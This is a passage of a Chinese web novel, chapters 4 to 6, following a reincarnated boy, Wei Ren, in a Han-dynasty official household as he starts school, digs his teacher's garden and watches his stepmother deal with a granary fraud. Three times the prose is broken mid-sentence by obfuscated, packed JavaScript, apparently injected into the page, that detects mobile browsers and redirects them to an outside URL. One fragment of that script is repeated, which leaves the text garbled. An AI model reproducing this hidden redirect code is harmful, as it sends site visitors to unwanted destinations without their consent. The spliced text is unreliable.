韦仁先伸脖子后伸手,十分配合,然后,一刻钟的时间,就看见梅乘的五官越来越纠结,韦仁不得不开口:“你自己都焦躁不安的,怎么可能把得出病人的脉。” 梅乘眉头一松,复又一叹:“阿公说你脉浮紧,可我总觉得和你平时的脉象区别不大,唉,学医也不比读书简单啊。” 韦仁在心中翻了个白眼,学中文会不会秃头他不知道,学医的有几个不掉头发的?腹诽归腹诽,韦仁还是安慰了一下梅乘:“我病得又不重,而且,我年纪小,本来就不如大人的脉好摸。” “你怎么知道?我阿公也这样说过。” “梅先生的医术不比仁济堂的蔡大夫差,你多和梅先生学。”韦仁想起一句话,“有个人说过,‘博涉知病,多诊识脉,屡用达药’(1),实践出真知,你得多给别人摸脉,多对比,多思考,总会入门的。” 梅乘很苦恼:“哪儿有那么多病人给我摸呀。”连给韦仁摸脉,他都要私下着来,阿公给人看病时,他只能在旁边看着。 “家里这么多人,还有住在近处的几家的小孩儿,你厚着脸皮去求一求,肯定会有人应的,大不了给他们几块儿糖当成报酬。实在不行,你在外面支个摊子,街上的乞儿,路过的货郎,那么多闲人,能摸一个算一个。” “唉,我给别人摸脉,还得我付诊金。”梅乘先玩笑地叹了一句,仔细想想韦仁的话,虽然觉得“几块儿糖”的说法过于轻飘飘,终是觉得可行,“那我试试,多谢五郎君指点。” “谢就不用了,下个月你要跟着梅先生去采药吧?我也想去。”在家里蹲了一年的韦仁还是挺想出去走走的。 梅乘好不容易舒展的五官又有往一起凑的趋势:“山上蛇虫鼠蚁多,而且我们要在城外呆上至少三日,你不上学了?” “我带着家僮,当天回来就行了。” 梅乘只得说道:“你做得了主吗?” 韦仁看了眼还长着肉窝窝的小手,不太肯定地应道:“应该可以吧。” 4. 唱歌 韦仁休假在家的第一日,赵氏几乎每个时辰都要过来看望韦仁一次,见到他习字还会劝他多休息。 韦仁休假在家的第二日,赵氏只在早食和午食时过来了一趟,见他食量不减半分就放心地回去了。然后,当日晚食时,韦仁就被叫去了正院与大家一起用餐。 赵氏对比了一下两个儿子的脸色,又把梅先生请过来给韦仁看过后,确定韦仁已经完全康复,就宣布:“既然好了,五郎明日就去上学吧。”赵氏也不完全是因为担心韦仁会耽搁功课,主要是考虑到韦仁的名声。 韦仁自小身体就不太好,走路说话也比其他孩子晚,赵氏不嫌弃自己的娃,可挡不住亲族里传些不好听的话。自从赵氏把韦仁背会《仓颉篇》全文的事情宣扬出去后,倒是没人再说韦仁是傻子了,但“体弱”也不是什么好话,耽误以后娶媳妇呐。 当然,赵氏是不会与韦仁说这些的,只是强硬地单方面做了决定。 韦仁能怎么办呢,只能乖乖听话呀。 见赵氏心情不错的样子,韦仁趁机说:“阿母,下个月梅先生和大乘要去城外山上采药,我也想跟着去。” “我与你二伯母和三伯母商量一下,上巳节时,咱们三家一起去南郊游玩。”南郊也有几个小山包,韦仁想去看山完全没问题。 韦仁:……这和我说的似乎不是一回事啊? 赵氏见韦仁一副欲言又止的样子,补充道:“梅先生那日肯定也要去的,到时候你想找梅大郎一起玩儿都随你。” 韦仁放弃解释,想起一事,又说道:“阿母,我这个月的麦芽糖还有多少?” 赵氏看向阿珀,阿珀答道:“五郎君这个月的配额还有11块。” 韦仁震惊:“只有这么点儿了?” 阿珀笑而不语。 韦仁沮丧:“阿珀,拿五块儿送去给大乘,说是我赞助他学医用的。” 阿珀看赵氏一眼,见赵氏不反对,遂含笑应下。 虽然宣布韦仁痊愈的是赵氏,但韦仁上学时,赵氏还是增强了他的保暖措施——一件韦玄成的最保暖的青绸墨竹纹的狐皮大氅。 赵氏用大氅裹住韦仁时,韦仁感觉自己就像个被粽叶包得严严实实的糯米团子。 赵氏十分满意,眼珠一挪,视线转到坐在韦仁身边的韦世然身上,抬手拉起他大氅的帽子扣在他的头上:“说了多少次,坐车时要戴好帽子,再不听话就罚你了。” 朝廷对车驾的规制有比较严格的要求,韦仁的阿公韦贤在太学担任博士,领六百石食禄,已经算是上秩级的官员,但韦贤乘坐的轺车也只有华盖而已,别说车厢,连帷幔也不许有,视野倒是良好,就是既不遮风,也不避雨。 像韦仁这种官员家属自然更不必提,不止帷幔,连前面拉车的牲畜也只能用牛骡驴一类,家里虽然有马,但马只能用来骑,不能用来拉车。 “阿母,今天没有风,我也比五郎强壮。”韦世然嘴上抱怨,却不敢当面违逆赵氏。 韦仁听韦世然拉自己垫背,干脆拉下挡住嘴巴的领口,对赵氏说:“阿母放心,我看着大兄,他敢把帽子拉下来,我告诉石大叔,让他回来告诉你。” 牛车才驶出韦家所在的小巷,韦世然回头确认赵氏已经看不到自己,立马把头上的帽子挥了下去。然后,韦世然伸手一把圈住韦仁的脖子,嗯,因为大氅实在厚实,韦世然圈得有点儿困难,不过语气是恶狠狠的:“五郎,大兄教你,告状是女娘才会做的事,男子汉告状是会被揍的。” 韦仁打了个哈欠,半眯着眼睛,说道:“大兄,小看女娘会吃大亏的。我数三下,你不把帽子戴好,我就不客气了。” “你打算怎么不客气?你动得了一根手指头不?” 韦仁见韦世然不听劝,不再废话,扬起声音开始高歌:“大兄不听话,非要摘帽啊。东风吹完西风吹,北风吹完南风吹。吹啊吹,头发没,阿翁揍完阿母捶~~~” 孩童的嗓音穿透力不是一般的强,路边的行人纷纷看过来,韦仁被裹得严实,别人也看不见他的脸,他就一遍又一遍地唱,每次的调子还不一样。 有认识的人听见了,笑道:“哎哟,这不是韦家的郎君吗?唱歌的是你弟弟?这嗓门可真亮堂!” 赶车的石大郎笑得直哆嗦,跟着劝:“四郎君,风吹了头容易得病,那苦药汤子哪里是好吃的,你还是把帽子戴上吧?” 韦世然脸色爆红,身边坐着的若不是亲弟弟,他一定要把他踹下车! 男子汉不怕冷、不怕疼,但不能丢脸——这样安慰着自己,韦世然反手拉起帽檐,将帽子扣回头上。 兄弟二人吵吵闹闹地到达学馆,在学馆门前还遇到了坐在大青骡身上的熊大宝,韦世然被弟弟气到,跳下车后自己先跑了,韦仁索性和熊大宝一起走进学馆,顺便归还手帕。 午食时,韦世然没有拉着韦仁,而是和秦宁双卫询一起跑去厨房,可惜,这一次他们没有抢到可以“加餐”的座位,韦仁自然也没吃到熊大宝带来的酱香鸡丁。 不仅如此,韦仁用餐的座位都没与韦世然挨着,后面的游戏时间,韦仁自然也没有加入,他只在院子里随便找个地方一边看着云彩发呆,一边站着消食。 另一边,韦世然玩儿丢沙包玩儿得却是心不在焉,时不时就要偷瞄一下独自站在墙角的韦仁,越瞄越觉得自家弟弟有些可怜。 韦世然正犹豫着要不要拉韦仁入伙时,就看到韦仁一边揉着肚子,一边转头去了学馆的后院。 下一刻,走神的韦世然被沙包砸了个正着,气得韦世然把这笔帐算在了韦仁身上,并暗下决心,韦仁若不与他道歉,他绝对不原谅他! 韦仁去后院自然是去睡午觉的,看到戚先生坐在院子里看书,韦仁还想着先生在院子里,他径自去睡觉是不是不太好,戚先生就对他招招手:“离未时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108050|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有半个多时辰,你就算要睡午觉,也不要超过两刻钟,不然反而容易困倦。” 韦仁左右看看,指着小院一侧翻了一半的地,说:“先生,你是要种菜吗?我帮你翻地。” “你还知道翻地?”戚先生的惊讶只是一闪而过,接着便拒绝了,“你还没锄头高呢。” “我用铲子。” 戚先生不由笑了:“地方不大,先生自己来就行了。你过来,我问问你功课。” 韦仁不好辜负戚先生的好意,就在戚先生对面坐了。 戚先生先让韦仁用算筹摆了一到十的数字,看到他的动作流畅且没有错处,就满意地点点头:“记得很牢。韦仁,你入学那日,我问你仓颉为何人,你说他是造字之人,现在再与我说说,可还有其他了解?” 反正戚先生现在不让他睡觉,韦仁就把这道题当作复习了,便不只说了“天雨粟,鬼夜啼”(1)的传说,还把“仓”、“颉”两个字拆开,各自讲解,从象形的起源,到戚先生讲解释义和反语时提到的“乃求千斯仓”、“颉之颃之”之类的例子都说到了。 戚先生又问这两日教给韦仁的其他十个字,韦仁无一例外都说得清楚明白,戚先生不免仔细打量起韦仁:“这些都是你自己总结的?” 戚先生讲字时会穿插一些额外的内容,例子都是从《论语》或者《诗经》选的,主要是为了增加趣味性以及加深学生对某些释义或者读音的记忆,并不会要求学生一定记住,结果韦仁不仅记住了,还十分有条理。 “嗯,阿翁说过,字义是基础,学好字义,无论是读经还是作赋都会简单。” 这就是成年人学习与孩子学习的一大区别了——目的性极强。 回想上一世,若随便拎出一个字让韦仁解释,他也只能组几个词,讲一讲大概的意思,这样的水平足够他理解大部分的文章和书籍,就算遇到理解不了的字词也有各种便捷的途径去寻找答案。 如今却是不同,就算没想过成为文学大家,想到以后看到的都是“古文”,韦仁也下定决心要把这个基础打牢,学习起来就格外认真。 戚先生十分欣慰,觉得韦仁很肯受教,便又给他讲了新的字,最后卡着两刻钟的时间才放他去自己书房内的榻上睡觉。 韦仁看到榻上的粟米壳枕头和细葛蚕丝被,感动得不行,怀着一颗对韦玄成和赵氏的拳拳之心,韦仁睡了个昏天暗地,直到被戚先生拍醒,才匆忙起床赶去课室。 下午放学时,韦仁见韦世然正慢腾腾地收拾书案,就找了过去。 韦世然以为韦仁是来求和的,结果韦仁说的是:“大兄,你先走吧,你和石大叔说,让他半个时辰后再来接我。” 韦世然本来打定主意韦仁不道歉的话他绝对不理他,听韦仁这样说,忍不住好奇,问道:“你不回家要去做什么?” “我要去孝敬戚先生。” 韦世然:…… 5. 翻地 韦世然很好奇两手空空的韦仁要怎么孝敬先生,便暂时把对弟弟的怨气放到一边:“你要给先生捶背吗?”这是韦仁在家里最常拿来讨好韦玄成和赵氏的办法。 “我帮先生翻地。” “什么是翻地?” 韦仁跺了跺脚,示意道:“戚先生在后院开了一片地,种菜前要把土地锄松。” “为什么?” “呃……”韦仁仔细回想了一番,才从记忆的角落里翻出一个答案,“松土保墒,松了土,土地比较容易保持水分,更好种菜。” 至于“松土保墒”的原理韦仁就真的不知道了,好在韦世然没有继续问,而是换了一个问题:“五郎,你怎么突然想帮先生翻地?” 在韦世然心里,韦仁从不会单纯孝敬长辈,反正韦仁每次给父母捶背,不是因为犯错,就是有事相求,要不就是得了啥好处。这是韦世然观察好久得出的结论,因此,每次看到父母被韦仁哄得眉开眼笑,虽未读过《渔父》,韦世然也体会到了屈大夫那种“众人皆醉我独醒”的骄傲与忧愁。 韦世然的怀疑全放在脸上,韦仁想翻白眼,又觉得韦世然想得也没错,只得解释:“先生教导我,还让我在他的书房里午休,我就想帮先生翻地。大兄,你也要帮我。” 韦世然本来走得挺顺当,听到这话,就不肯继续往前走了:“凭什么?”他只是好奇跟过来看看的,可不打算给自己找事做。 韦仁拉住韦世然的手防止他逃跑:“凭我让你戴好帽子是为了你不被风吹,你脱了帽子,我也没让石大叔告诉阿母,我对你这么好,你却胡乱生气。今天是我进学的第二天,我和谁都不熟,你竟然一天都不理我,我生病才好,你说,你对得起我吗?你可是我大兄!” 最后一句铿锵有力,从小被灌输身为长子要照顾身为女娘的韦元茹和年幼体弱的韦仁的韦世然捂住胸口,也觉得自己对不起弟弟。 于是,韦仁面对戚先生时是这样说的:“戚先生,我大兄知道我想帮你翻地,一定要和我一起。” 站在韦仁身边的韦世然语气更加诚恳:“师有事,弟子服其劳。我觉得五郎做得对,先生,我们帮你翻地。” 学生非要尽孝心,先生只要脑子没毛病,就不会把学生赶走。戚先生不再推辞,带着二人走到菜畦旁边,拿了一把铲子,蹲在地上开始铲土:“看到了吗?就这样,顺着一个方向,铲这么深就可以了。” 戚先生演示了一遍,就给二人一人一把木铲。 韦世然不觉有异,接过铲子就准备下地松土,说起来,他也好久没玩儿泥巴了,想起来还有些兴奋。 韦仁拿着木铲却有些愣怔,疑惑问道:“先生,铲子不是铁做的吗?”这地虽然看起来不硬,不过铁的肯定比木头的好用。 “本来是有一把铁的,不过铲头坏了,拿去铁官厂修了。” 韦仁十分纳罕,原来拥有这么大一间学馆的戚先生也不富裕呐。 可能是因为年纪小,力气不足,戚先生一铲子能铲到的深度,韦世然和韦仁都达不到,二人商量后,由韦世然在前面铲,韦仁跟在他后面再铲一次,这样才勉强能达到戚先生的要求。 戚先生见兄弟二人做好计划就开始铲土,便拿了一册竹简坐在院中看书,偶尔会提醒两个人小心手,对于那地是不是真的能松好倒也不甚在意。 相比戚先生的悠然,过了最初的兴奋劲儿,韦世然很快就后悔听了韦仁的鬼话过来翻地,他就没做过这么累的事情,比摔十次跤都累! 有好几次,韦世然都想撂挑子不干了,但背后跟着弟弟,再后面还有戚先生坐镇,哪怕他纯粹是来帮忙的,韦世然仍然不好意思提出来。韦世然实在干不动时,会回头看看,想着若是韦仁先干不动,他也就不干了。 不巧,每次韦世然回头时,看到的都是韦仁的脑瓜顶,看着就是一副努力铲土的模样,于是撂挑子的话韦世然怎么也说不出口。 其实,韦仁也觉得累,满脑子想的都是:我要犁、我要牛,我要犁、我要牛…… 只是韦仁干得慢,持久性比韦世然强一些。韦仁也会时不时关注韦世然,在看到韦世然第三次休息时,韦仁便问他:“大兄,你还干得动吗?” 韦世然等这句话不知道等了多久了,结果从弟弟嘴里听到这句话时,一时间竟然有些犹豫,没有答话。 戚先生也听到韦仁的话,便抬起头,说道:“凡事量力而行,若做不动了,就歇息吧。” 不知道是哪个字戳到了韦世然的神经,他的牛脾气突然上来,韦世然一咬后槽牙,大声说道:“不累!五郎,你也快点儿挖!挖那么慢,耽误先生种菜!” 韦仁:…… 戚先生笑劝:“这个不急,要等天气更暖些,才要下种。” 韦世然不听,反而挖得更加卖力,韦仁没辙,跟着继续铲呗。一共一分的地,兄弟二人干了大半个时辰也才勉强松了一大半。 师娘看到灰头土脸的两个娃娃,心里又是感动,又有些埋怨自家男人,人家孩子来学馆是读书来的,又不是不给束脩,让两人过来做农活像什么话。 师娘不好当众数落戚先生,只端了温水给韦仁和韦世然喝,又用帕子亲自给二人擦汗:“累了吧,快擦擦。晚上留下来吃饭吧,我给你们做大肉。” 韦世然连忙摇头:“不用了,师娘,你和先生吃吧,我们回去太晚,家里人会担心。” 韦仁也跟着说:“阿母和大姊没有我们陪着,吃饭都不香。”说完,匆匆对着戚先生的方向揖了一礼,拉着韦世然跑了。 师娘看着手拉手跑出后院的韦仁和韦世然,转头与戚先生说:“韦家这两个孩子真懂事。” 戚先生点头:“家教甚佳。” 韦世然和韦仁跑出后院,又跑回课室,拎了书篮跑出学馆,直到坐上牛车才齐齐松口气:师娘做饭哪里有家里的厨娘做饭好吃! 因为石大郎有让人回家传信,赵氏对于韦仁和韦世然晚归的原因也很了解,提早做了安排,二人到家后就有热水供以沐浴。 然后,韦仁和韦世然在沐浴时双双嚎叫,两个人都是这时候才发现手心里磨出了水泡,水泡倒是不大,但兄弟二人比较倒霉,一个是脱鞋子时,一个是进浴桶时,分别不小心蹭破了一个水泡,那酸爽的感觉就别提了。 韦世然还咬牙忍着,韦仁却不是个会忍的,泪珠子哗啦啦地往外掉,还连带“疼疼疼”地叫唤。 韦世然被韦仁一引,忍不住也红了眼眶,悲从中来,哭嚎声直接盖过了韦仁的抽噎声:自己怎么就是长子呢,他要是比弟弟小,一定不跟他去翻地! 两个儿子哭得惊天动地,赵氏听闻消息,直接从正屋奔来了君子院,听家僮说了因由,又是心疼,又是好笑,隔着屏风好一通安慰,又让人送进去两张胡麻糖饼,这才让两个小的停止哭声。 跟着一起过来的韦元茹一边吩咐人去请梅先生,一边有些不赞同地说:“五郎这次也是胡闹,就算想帮戚先生种地,家里这么些人,随便哪个不能用。” 自己受罪不说,活儿也不一定能做好,五郎惯会讨好长辈,但也不能把自己搭进去啊,四郎也是,五郎一忽悠,他就跟着去了。 有这么两个缺心眼儿的弟弟,韦元茹很发愁,扶着赵氏往回走时,便提了一句:“阿母,是不是该给四郎和五郎配贴身的僮奴了?” 孝顺先生是正理,赵氏对韦仁的做法倒是赞同的,至于让家僮到戚先生那里去帮忙,赵氏根本没想过。不过韦元茹说得也没错,赵氏轻轻拍了一下韦元茹挽在她臂弯的手:“你倒是提醒我了,五郎年纪尚小且不说,四郎是该学着管人了,待你阿翁回来,我与他商量。” 第一次干农活,着实是把韦仁和韦世然给累着了,二人用晚食时都胃口缺缺,随便吃了些东西就要去睡觉。 赵氏也没多劝,不过待韦仁和韦世然吃完晚食后,仍然让他们静坐了一刻钟,问了问他们在学馆的事,才放上下眼皮已经开始打架的二人回去睡觉。 待到屋中只剩赵氏,阿珀才提醒道:“夫人,四郎君和五郎君还没有做课业。”郎君们耽误一次课业事小,阿珀主要担心赵氏事后想起这茬儿会生气。 赵氏倒是没忘,听阿珀如此说,只吩咐道:“待他们睡熟了,让阿桂和毋忧给他们揉揉胳膊和腿,明日早半个时辰叫醒他们。” “唯。” 赵氏瞥一眼刚刚撂开的账册,说起另外一件事:“石伯回来了?” “石管事是酉末回来的,知道夫人在忙,先回去了西院。”顿了顿,阿珀又补了一句,“石管事回来后,罚石二郎跪在他们那堂屋里,听说还让石大郎抽了他二十鞭子。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108051|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “听说?听谁说的?” 阿珀如实答道:“石嫂子来说的。”石嫂子比石二郎大一轮还多,对这个小叔是当儿子养的,比对自己的儿子还宠。 “事情都还没报到我这里,打人和求情的事倒都做完了。”赵氏透过敞开的窗子看了看天色,吩咐道,“让石伯过来吧。” 石伯走进正厅后先跪在地上给赵氏磕了个头,赵氏见状也没喊他起来,直接问道:“新聚粮仓的事查清楚了?” 石伯趴伏在地上,恭声禀告:“是,周大亮的妻兄曹九把筑仓用的青膏泥换成了普通的黄泥,把柚木换成了榆木,去年雨多,粮食这才受潮发霉。另外,曹九扣了一部分给流民的脚钱。” “他倒是会挑。”赵氏冷笑,“周大亮可知道这事?” “运料的事是周大亮交给曹九办的,曹九只换了八成的料,余下那二成用作遮掩,最开始,确实把周大亮糊弄住了,不过,周大亮后来应该是察觉了,只是……”石伯的头更低了一些,“周大亮还是帮着把这事瞒下来了。” 别看干活儿的人多,瞒下这事真不难,司计只管拨款,运料的人是曹九招来的流民,人家不会管运的是啥,只管做事收钱。筑仓时,倒都是新聚的田僮或佃户,或也有发现不对的人,但或是被收买了,或是不敢招惹是非,总归是没人宣扬此事。 “换下来的木料和泥,曹九卖给谁了?” “没有卖,直接抵给了驼背李。”石伯解释,“驼背李混迹南平阳,他有个妹子是当地县尉的女妾,靠着这层关系,驼背李开场设博,曹九喜好双陆,在那里输了不少钱。” “原来是个赌徒。”赵氏厌恶地蹙了蹙眉,继续问,“既然如此,曹九连筑仓的材料都换了,没向粮食伸手?” “应是没有,粮食没过曹九的手。老奴和宋司计也一起带人清点过,斛数是对的……每斛差了三斤左右。不过,粮食发霉后也确会变轻,加上一些损耗,与册上相差不大。” 石伯没说的是,周大亮应是知道自家妻兄的德行的,肯定不敢让曹九碰粮食,于是退而求其次地给了曹九运料的差事,也是想着经管的人能虚报一些数目,只要不过分,主人家不会计较,曹九也能得些实惠。周大亮是没想到曹九的胆子能那么大,后来纵使知道了,一方面出于自保,一方面妻子苦求,他也不可能卖了曹九。 石伯没说,不代表赵氏想不到,赵氏怒极反笑:“原以为是个奸猾的,没想到还要多个‘蠢’字。”赵氏从不怕下面的人奸猾,最怕蠢还自作聪明的! 阿珀忙倒了温水递给赵氏:“夫人莫生气,为那等人不值当的。好在白杨聚和鲁县那边的粮食都没问题。我听说石管事有让人筛粮食,总还有一些能吃的,是吧?” 石伯连忙接口:“是,大概还余下两成半。” 赵氏喝了水,勉强压下怒火,主动问道:“你把石二郎打了?” 石伯十分羞愧,脸上纵横的沟壑仿佛都深了几分:“当初是老奴替他求了差事,夫人给老奴脸面,这么重要的事交给他办,结果出了这样的事,老奴……老奴真是恨不得打死那个不争气的东西!” 石二郎当时被石伯安排去做监工的,结果监了个寂寞回来。石伯这辈子就没出过这么大的纰漏,看着那满仓发霉的粮食,石伯要不是身子骨还硬朗,非得撅过去。 赵氏淡淡地说:“你既已罚过石二郎,这次我就不追究了,他手上的事先交给三禾。他年轻,人浮躁,你多教他,让他以后做事多学学他大兄的踏实周全。” 赵氏的话不好听,石伯一直提着的气却松下来,赵氏既然说到“以后”,证明还会用石二郎。石伯又给赵氏磕了个头:“老奴替那个不争气的东西谢夫人宽宥。” “行了,你也别跪着了。 待到石伯起身,赵氏才问:“周大亮和曹九呢?” “正关在柴屋里。” “那就关着吧,那些霉了的粮食也别浪费,每天一碗饭,饿不死就行。” “唯。” 石伯退下后,赵氏的脸上才显露出一丝疲态,阿珀走到赵氏身后为她揉按肩膀。赵氏垂着眸子不知在想什么,许久后,才轻轻叹了口气。 “夫人是在担心女公子?” 赵氏一改刚刚提起周大亮时的冷漠模样,语气幽幽:“到底是黄奶娘的儿子。” 6. 大米饭 韦玄成的原配夫人乔氏在生韦元茹时难产而亡,韦玄成在乔氏去世一年后才续娶赵氏。 后院空白的这一年里,韦元茹由乔氏的奶娘——宋奶娘和黄奶娘照顾,韦家后宅的事务也把持在两个奶娘手中。 赵氏初到韦家,需要两位奶娘帮扶,对二人也一向礼遇。三人的良好关系保持了四年,直到赵氏查出身孕,赵氏对家中人事进行调整。赵氏将乔氏名下的田地以及商铺分别交给宋黄二人打理,又让韦玄成派懂计会的家僮去管理账目,原本宋黄二人兼管的一些家中事务则被赵氏收回,安排给了其他人。 手中权力被分薄,宋黄二人自然不满,只是相比黄奶娘的不动声色,宋奶娘将不满摆在了面上,在言谈中总会带出些赵氏不念旧情的怨怒。 赵氏起初还会容忍,直到宋奶娘开始在韦元茹耳边说些挑拨母女关系的话,赵氏彻底与宋奶娘翻了脸。 奶娘名义上虽是奴仆,却是个十分特殊的身份,韦元茹自幼失母,在世俗眼中,宋黄二人的地位堪比生母。正所谓“生则养,没则丧”,赵氏身为继室,她要是简单粗暴地把宋奶娘赶走,那名声就不用要了。 赵氏也不会这样做事,她送了宋奶娘一百亩良田和一座宅院,把这一家子送去了大屯聚当地主。 这事听着是挺风光,但在那个时期,除了可以入籍的“中民”身份外,宋奶娘一家的日子绝没有在韦家过得滋润。 黄奶娘见状,十分识时务地表示自己精力不济,家人无大见识,管理不好乔氏的田产,希望赵氏能派人来接手,只求赵氏让她继续照顾韦元茹。 赵氏从未想过插手乔氏的嫁妆,见黄奶娘识趣,便把宋奶娘管理的乔氏的嫁妆一并教给她管理,却也不再让她贴身照顾韦元茹,而是在乔氏的僮使中提了一人照顾韦元茹,很快又请了一位寡居的女先生给韦元茹开蒙。 韦元茹那时已经五岁,正处于懂事又不懂事的阶段,对于奶娘们的离开十分伤心,加上宋奶娘的话对她产生的影响,韦元茹一度不与赵氏说话,还和舅家告过状,多少给赵氏添了一些麻烦。 好在赵氏还算有耐心,嫁过来后也没疏忽过与韦元茹培养感情,再加上韦玄成从中缓和,母女二人最终还是和好了。 最初几年,赵氏并不允许两位奶娘往韦元茹身边凑,直到韦元茹长到12岁,赵氏才放松了这种限制。无论是时常过来给她解闷的周大亮的妻子曹氏,还是求上门来的宋奶娘的儿孙,全由着韦元茹自行处理。 韦元茹对两位奶娘虽不如儿时那般亲近,却也念着旧情,能帮衬的地方很少会推脱。 孩子重情当然不是坏事,但赵氏也不会多乐意韦元茹亲近宋黄二人,若韦元茹真因周大亮的事对她生出怨怪之心,赵氏觉得自己一定会十分失望。 第二日,送走韦世然和韦仁,赵氏留下韦元茹,与她说了周大亮和曹九的事。 韦元茹仔细听完事情始末,半晌后才叹了口气,却什么也没说。 赵氏见她这样反而笑了:“年纪轻轻的,你叹什么气?” “我知道曹九博戏的事,曹氏没少往娘家贴补。”因时常与曹氏见面,韦元茹对周曹两家的事都有所耳闻。 “听说曹家之前穷困,自从曹婶子嫁给周大亮,有周家帮扶,曹家的日子才好过起来。曹婶子说,曹九自小吃过许多苦,很是照顾他们弟妹几个,没想到后来日子好了,反而学起那些市井之徒,成天斗鸡走狗,不事正务。”说到这里,韦元茹很是唏嘘。 赵氏不以为意:“你觉得奇怪是因为见得少,位卑者忽登高位、穷人乍然富有后失了分寸的事比比皆是。不用往远了看,你阿公做官后,你二叔公家的三郎就敢去插手卖酒的生意,若不是你二叔公为人明白,先行收拾了三郎,不知道以后还要惹出什么事端来。” 韦元茹将赵氏的话在心里过了两遍,才说:“我明白,阿翁也常教导我们,任何时候都要摆正自己的位置。”说完,韦元茹看向赵氏,把话题扯了回来,“阿母既然已经查明新聚粮仓的事,与我说,是觉得我会为周家求情?” 赵氏不答反问:“你准备为周大亮求情吗?” “我想知道阿母准备怎么处置周大亮和曹九。” “周家负责新聚那边的事不是一日两日,既然有粮仓的事,必有其他的事,要看看他到底都做过些什么。”赵氏如此说,就是不打算轻轻放过此事。 在韦家,犯了大错的家僮会被送去盐场,韦元茹不知道那里到底有什么可怕的,只知道许多人进去就出不来了。韦元茹眼底闪过不忍,终是没有开口。 赵氏没错过韦元茹的神色,说道:“若你舍不下周家,我也可以把他们一家交给你。” 出乎赵氏意料,韦元茹没有接这个话,而是说:“阿母说过,做人可以糊涂,做事需要分明,我也想看看,周家这些年做过哪些事。” 赵氏和韦元茹在家中谈论周大亮的事时,韦仁和韦世然正被戚先生叫到一边教训——尽管做了按摩,一个晚上的时间仍然不够韦仁和韦世然的手臂恢复如初,两个人的课业完成得七零八落。 戚先生对韦世然的训话主要围绕“量力而行”展开,还给他讲了“荀吴围鼓”的故事:“你虽翻完了所有的地,却让身体劳累不堪,不仅耽误了昨日的功课,今天上课时你还在打哈欠,我今天讲解的内容,你是不是也没有听进去?” 今天早上,韦世然被提前叫醒,尽管困得不行、胳膊和手也疼,韦世然仍然坚持完成了功课。韦世然自觉已经很努力了,不想竟被戚先生批评,很是委屈,忍不住辩解:“先生,我昨天翻地,手破了。” “是啊,不仅累,手还破了,那我昨日对你说累了就歇息片刻,你为何不听呢?” 韦世然眨巴眨巴眼睛:“是啊,我怎么就没听呢?” 韦世然无辜又茫然的样子十分可爱,戚先生心下好笑,面上保持严肃:“你帮我翻地,我很欣慰,但做事要分清轻重缓急。”戚先生抬手摸了摸韦世然的头,“世然啊,你是学生,学生最重要的事情就是学习,除非有极其重大的事,为其他任何事耽误课业,对你而言都是得不偿失。” 韦世然并没有特别理解戚先生的话,但也听出戚先生是为他好,不被理解的委屈消散,只剩耽误功课的羞愧。 韦世然对戚先生揖礼:“先生,学生知错了。” “能来学馆上学,你已经比这世上绝大多数人幸运,对于学业,万不可懈怠啊。”戚先生又给韦世然讲了讲要善于听取他人意见的道理,最后宣布了对他的惩罚措施,“下午的课,你就站着听吧。” 这惩罚已然算是很轻了,韦世然松了口气,心情放松下来,韦世然也有闲情关心弟弟了。 和强打精神的韦世然不同,韦仁早上根本没有提前起床,一句“先生只让我背书,我已经背下来了”就把去叫他的毋忧给打发了,比韦世然多睡了足足半个时辰,对于韦仁这大胆行径,韦世然真是又鄙视又羡慕。 顺着韦世然的视线,戚先生也看向韦仁,问道:“你来说说,为何没有完成写大字的课业?”戚先生手里刚刚一直垂着的戒尺也抬高了,尺头正点在韦仁握着拳头的小手上,显然,若他答得不好,是要挨手板的。 韦仁眨了眨眼睛,那模样与韦世然有几分相似,但神色完全不同,果不其然,韦仁出口的话是:“因为我要量力而行。”为了表示自己不是在挑衅,韦仁还补充道,“先生,我只耽误了昨天的功课,今天上课,我听得很认真。” 戚先生:……你可真会现学现用呀! “好,这一点算是有些道理。”戚先生轻咳一声,问起另外一件事,“你为何要骗人说没有写大字的功课呢?” 韦仁心下埋怨韦世然把这事秃噜给戚先生,只得干脆认错,还主动把拳头打开,英勇无畏地说:“先生,我知道骗人不对,你打我吧。” “既是明知故犯,便多罚你两下,一共四下。” 韦仁的眼睛瞬间瞪得溜圆:不应该是主动承认错误,所以惩罚减半吗? 韦仁严重怀疑戚先生加罚的理由,但先生的戒尺却是不等他分辨的,“啪啪啪啪”四下戒尺不停歇地敲在韦仁的左手掌心,韦仁的五官皱成了包子褶儿。 尽管上学没几天就被打手板这事有些丢脸,当日放学后,韦仁依然去了学馆的后院,指着菜畦问:“先生,今天要继续锄地吗?”看起来戚先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108052|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎已经把昨日他们没锄完的部分锄了一遍了。 